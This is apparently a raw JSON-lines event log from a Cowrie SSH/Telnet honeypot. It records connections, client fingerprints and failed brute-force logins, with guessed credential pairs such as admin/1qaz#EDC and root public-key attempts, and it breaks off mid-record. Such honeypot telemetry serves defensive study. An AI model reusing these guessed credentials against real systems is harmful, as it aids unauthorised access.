{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:10.383326Z","src_ip":"165.227.170.113","session":"6cbdcae58605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"users","message":"login attempt [root/users] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:10.748520Z","src_ip":"165.227.170.113","session":"6cbdcae58605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:11.834752Z","src_ip":"165.227.170.113","session":"6cbdcae58605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00369501113892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:14.703360Z","src_ip":"38.25.25.113","session":"0c3d46f66c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":12365,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f866fbc96fc","protocol":"telnet","message":"New connection: 38.25.25.113:12365 (10.17.0.5:23) [session: 7f866fbc96fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:15.906827Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":57968,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a0bf237685","protocol":"ssh","message":"New connection: 165.227.170.113:57968 (10.17.0.5:22) [session: 19a0bf237685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:54.718324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:54.723309Z","src_ip":"165.227.170.113","session":"19a0bf237685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:54.810446Z","src_ip":"165.227.170.113","session":"19a0bf237685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"121212","message":"login attempt [ali/121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:55.190869Z","src_ip":"165.227.170.113","session":"19a0bf237685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:56.281391Z","src_ip":"165.227.170.113","session":"19a0bf237685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":1881,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbac0c95ca60","protocol":"ssh","message":"New connection: 223.233.84.127:1881 (10.17.0.5:22) [session: fbac0c95ca60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:59.462386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:59.469210Z","src_ip":"223.233.84.127","session":"fbac0c95ca60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:59.834194Z","src_ip":"223.233.84.127","session":"fbac0c95ca60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":48838,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dd2aa081fec","protocol":"ssh","message":"New connection: 142.44.247.134:48838 (10.17.0.5:22) [session: 1dd2aa081fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:59.939527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:59.944515Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:59.963807Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:aa:99:f3:66:8b:d8:a7:4a:90:f1:34:46:a4:b3:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhDeZ9nbI1NU7S5g/rPJQF9j6j1VtiZpYnS2lqGlLyvD14ZxQPn6GOw0MxAL2tj7wPqOeDRKf73FlX4+BAAkU/datMGsKlaaOdhSv0qTmeHY0g7lADZApCSC6FYEeABrJNrZQDrWIKuLY2Z1TyghqPWLafRJcHXNpSuyyaHMrXp1cusuVyZ9VQheGqtRGYlaGF56JhChZAOkEPi6XV/tEF2ICYBusHBiuYNtH+2AIsR+IA83PNLFNij509qP6ObPP23y5XbsbkvreIbK8fvP0yjH+ZYNhgjxrVzMFvt45IB5gA9a3n9HV+R7oRkMW1hi7/6r6VJDhrFRwCnEK6nkX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:aa:99:f3:66:8b:d8:a7:4a:90:f1:34:46:a4:b3:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.037617Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:aa:99:f3:66:8b:d8:a7:4a:90:f1:34:46:a4:b3:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhDeZ9nbI1NU7S5g/rPJQF9j6j1VtiZpYnS2lqGlLyvD14ZxQPn6GOw0MxAL2tj7wPqOeDRKf73FlX4+BAAkU/datMGsKlaaOdhSv0qTmeHY0g7lADZApCSC6FYEeABrJNrZQDrWIKuLY2Z1TyghqPWLafRJcHXNpSuyyaHMrXp1cusuVyZ9VQheGqtRGYlaGF56JhChZAOkEPi6XV/tEF2ICYBusHBiuYNtH+2AIsR+IA83PNLFNij509qP6ObPP23y5XbsbkvreIbK8fvP0yjH+ZYNhgjxrVzMFvt45IB5gA9a3n9HV+R7oRkMW1hi7/6r6VJDhrFRwCnEK6nkX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.042099Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:be:e8:21:f4:6f:dc:94:58:77:ca:36:f4:5b:9f:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRpzCYTphQO4E3y413BRtt6RcR4MTwmAMgnKWwsWuVFBKbtf8dWM2Hjvy5yQJ1236pQdEy0ne+lSRMwm1rwxo/61oogj9S6H2j5kH8IIchBlPuzG4iYTliSyTrGTStB7Cw74wNmRyNjO98okUE13ByRRTytNqJo++AfTWLgKEnJ5DbD9j8X0AKWSKePELiQjcxdychGvAD3zS7gNZrWBDPT0WbcFlcSTfhOvLjMJ9vXO9vnIgdHYvsp6agFpLRj9GG/37q9IX3HwtR8q13ZHvHip4ZGn6yxjR9TvhvJBQsc7sEwgom0DtVqyhQNeZ4ScdEjqObVdEHvaMU26MSM4+/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:be:e8:21:f4:6f:dc:94:58:77:ca:36:f4:5b:9f:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.063457Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:be:e8:21:f4:6f:dc:94:58:77:ca:36:f4:5b:9f:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRpzCYTphQO4E3y413BRtt6RcR4MTwmAMgnKWwsWuVFBKbtf8dWM2Hjvy5yQJ1236pQdEy0ne+lSRMwm1rwxo/61oogj9S6H2j5kH8IIchBlPuzG4iYTliSyTrGTStB7Cw74wNmRyNjO98okUE13ByRRTytNqJo++AfTWLgKEnJ5DbD9j8X0AKWSKePELiQjcxdychGvAD3zS7gNZrWBDPT0WbcFlcSTfhOvLjMJ9vXO9vnIgdHYvsp6agFpLRj9GG/37q9IX3HwtR8q13ZHvHip4ZGn6yxjR9TvhvJBQsc7sEwgom0DtVqyhQNeZ4ScdEjqObVdEHvaMU26MSM4+/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.071217Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:5d:a2:2a:f1:3b:f1:7c:f9:95:ac:09:48:19:d6:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBEK0FvuLd6TlUJZ3aeiuVugEg7gCx742HltCeYvAfOp9pdX1TYFVd+JRNvLUGjZnzS46YC1azMElEvOtHZQwV7T1Bcpk0wyzYMvi7MrHZVmKV5qq8cGI9ihejeVNOpRwhSbaLxrXxugR0aw6tpqj2pQuiAd84Rj8/qc42K3F3mKV5PuYJfXeygJvMJ8tnr91I0x/+pPKkrSinldyX1ESjLtwGGuNlCYmTDjknkNKfgEO8efqD1Bkg9xfqaeqOMHKn/ET8u3/QuL0WW1HFFTLpF5Cpy49IAl5qMNcZf+jyx5jo9mTfFpIWsL448U56bI3VeBrWKuPVQBd5H63DnONK+4bv5qewo/k6yIdBInieVk49pxTXwT7Ubj3MIjLvsVrOxw/QoRK+y0aNalZLVS1jRRG2sB4P0RC4xJegEJ+Ox8LtGPtlFM5Z8Bkxr2x4q0QJxOXsBtHPcLsq9YDmNYzAm+FcqluB4TvOx8d641VyT+7O6iAi0Su+l0o3qsIvrNp4RzaePYJUyuQsqpFx4Kk2V2IuscJP5qR6mwKpBOWbtHKoa8inCOx/vajvSiS5dV0D2MxSS3aGM4M/UVaUFpFZamuBfVfSkKIAzrNAtfmwHBQmsOMVSmBfWWC5vGqN6Q3bU5ImMezOCCB83DrWsfligN4xNyG7T6tjhEe+lb/Tcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:5d:a2:2a:f1:3b:f1:7c:f9:95:ac:09:48:19:d6:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.093981Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:5d:a2:2a:f1:3b:f1:7c:f9:95:ac:09:48:19:d6:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBEK0FvuLd6TlUJZ3aeiuVugEg7gCx742HltCeYvAfOp9pdX1TYFVd+JRNvLUGjZnzS46YC1azMElEvOtHZQwV7T1Bcpk0wyzYMvi7MrHZVmKV5qq8cGI9ihejeVNOpRwhSbaLxrXxugR0aw6tpqj2pQuiAd84Rj8/qc42K3F3mKV5PuYJfXeygJvMJ8tnr91I0x/+pPKkrSinldyX1ESjLtwGGuNlCYmTDjknkNKfgEO8efqD1Bkg9xfqaeqOMHKn/ET8u3/QuL0WW1HFFTLpF5Cpy49IAl5qMNcZf+jyx5jo9mTfFpIWsL448U56bI3VeBrWKuPVQBd5H63DnONK+4bv5qewo/k6yIdBInieVk49pxTXwT7Ubj3MIjLvsVrOxw/QoRK+y0aNalZLVS1jRRG2sB4P0RC4xJegEJ+Ox8LtGPtlFM5Z8Bkxr2x4q0QJxOXsBtHPcLsq9YDmNYzAm+FcqluB4TvOx8d641VyT+7O6iAi0Su+l0o3qsIvrNp4RzaePYJUyuQsqpFx4Kk2V2IuscJP5qR6mwKpBOWbtHKoa8inCOx/vajvSiS5dV0D2MxSS3aGM4M/UVaUFpFZamuBfVfSkKIAzrNAtfmwHBQmsOMVSmBfWWC5vGqN6Q3bU5ImMezOCCB83DrWsfligN4xNyG7T6tjhEe+lb/Tcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.098903Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:e4:9f:68:0d:8b:5e:8d:df:d1:19:4e:a5:cd:c7:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPJU14fidYso+UIvjZeJws2FwGrpddm1bGixU/+aDYDHS7yTno0x+sbCOZC97PeOEFGUfH9Zv9iNdjnGSFQdR4OcaQHWI7kSSpnLUdQM6EnhKQ8K8Sv1ZipsZr7D5c0ZLXnAgRkHMBF2tYJyrek1aKM1o0D4gGY0jM/eOEg+71bJhyHlXHl1yi7xjmIRzNo+TtYcCHAWv7StCPXSUBucR5FxEqpEFCo+xdHGV28AYL/gUXvXWIr/k/9ghLNXNfTIuH5WzRBOesYHzcyHZyZtUA+q6bOFkUhyKJt/VKMIA60GeTFXI1oO4RC5RQIvGgNFMKfeesb0tFbGEuuRe5oz3J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:e4:9f:68:0d:8b:5e:8d:df:d1:19:4e:a5:cd:c7:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.119866Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:e4:9f:68:0d:8b:5e:8d:df:d1:19:4e:a5:cd:c7:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPJU14fidYso+UIvjZeJws2FwGrpddm1bGixU/+aDYDHS7yTno0x+sbCOZC97PeOEFGUfH9Zv9iNdjnGSFQdR4OcaQHWI7kSSpnLUdQM6EnhKQ8K8Sv1ZipsZr7D5c0ZLXnAgRkHMBF2tYJyrek1aKM1o0D4gGY0jM/eOEg+71bJhyHlXHl1yi7xjmIRzNo+TtYcCHAWv7StCPXSUBucR5FxEqpEFCo+xdHGV28AYL/gUXvXWIr/k/9ghLNXNfTIuH5WzRBOesYHzcyHZyZtUA+q6bOFkUhyKJt/VKMIA60GeTFXI1oO4RC5RQIvGgNFMKfeesb0tFbGEuuRe5oz3J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.123963Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:68:f1:78:01:6f:6d:85:e7:0e:4f:00:a0:1a:e3:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5nHxVDAYasrQg7DKw7ZFYVmRNY0iAUhZW3uAx4xucKLT9reD5fJENP3nD+QqxILciB7i2bxdF4XxvOwXXdtv8s7Hr2TJaujdkbQSZXH3FP/fP/U2Fuv2TNtWW5FFdOAYJLbmSUf9Q6sc0oPUIOGyFmCi/hyLHVK83+ATOhjaEgPIrVMKrBjlOfMpPqzFALpCYfxIUJvwA8TI6HD3kHQYe3OOd8v6ZlQBKdMANY05dfCuWMnzGNTNLk1nB3mODF++KQ+Z0WfL+0Fi47mYcCKQ3LnYUZDs3fEmM/NW8I4FE+pFRIkJB8uFxxP2FLG+Kefvd8KsfALjcIbAfjLhZYaMn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:68:f1:78:01:6f:6d:85:e7:0e:4f:00:a0:1a:e3:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.144765Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:68:f1:78:01:6f:6d:85:e7:0e:4f:00:a0:1a:e3:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5nHxVDAYasrQg7DKw7ZFYVmRNY0iAUhZW3uAx4xucKLT9reD5fJENP3nD+QqxILciB7i2bxdF4XxvOwXXdtv8s7Hr2TJaujdkbQSZXH3FP/fP/U2Fuv2TNtWW5FFdOAYJLbmSUf9Q6sc0oPUIOGyFmCi/hyLHVK83+ATOhjaEgPIrVMKrBjlOfMpPqzFALpCYfxIUJvwA8TI6HD3kHQYe3OOd8v6ZlQBKdMANY05dfCuWMnzGNTNLk1nB3mODF++KQ+Z0WfL+0Fi47mYcCKQ3LnYUZDs3fEmM/NW8I4FE+pFRIkJB8uFxxP2FLG+Kefvd8KsfALjcIbAfjLhZYaMn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.148647Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:00.169335Z","src_ip":"142.44.247.134","session":"1dd2aa081fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz#EDC","message":"login attempt [admin/1qaz#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:01.010112Z","src_ip":"223.233.84.127","session":"fbac0c95ca60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:02.270599Z","src_ip":"223.233.84.127","session":"fbac0c95ca60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":40740,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f8f18ac48e","protocol":"ssh","message":"New connection: 165.227.170.113:40740 (10.17.0.5:22) [session: 51f8f18ac48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:40.932532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:40.937324Z","src_ip":"165.227.170.113","session":"51f8f18ac48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyA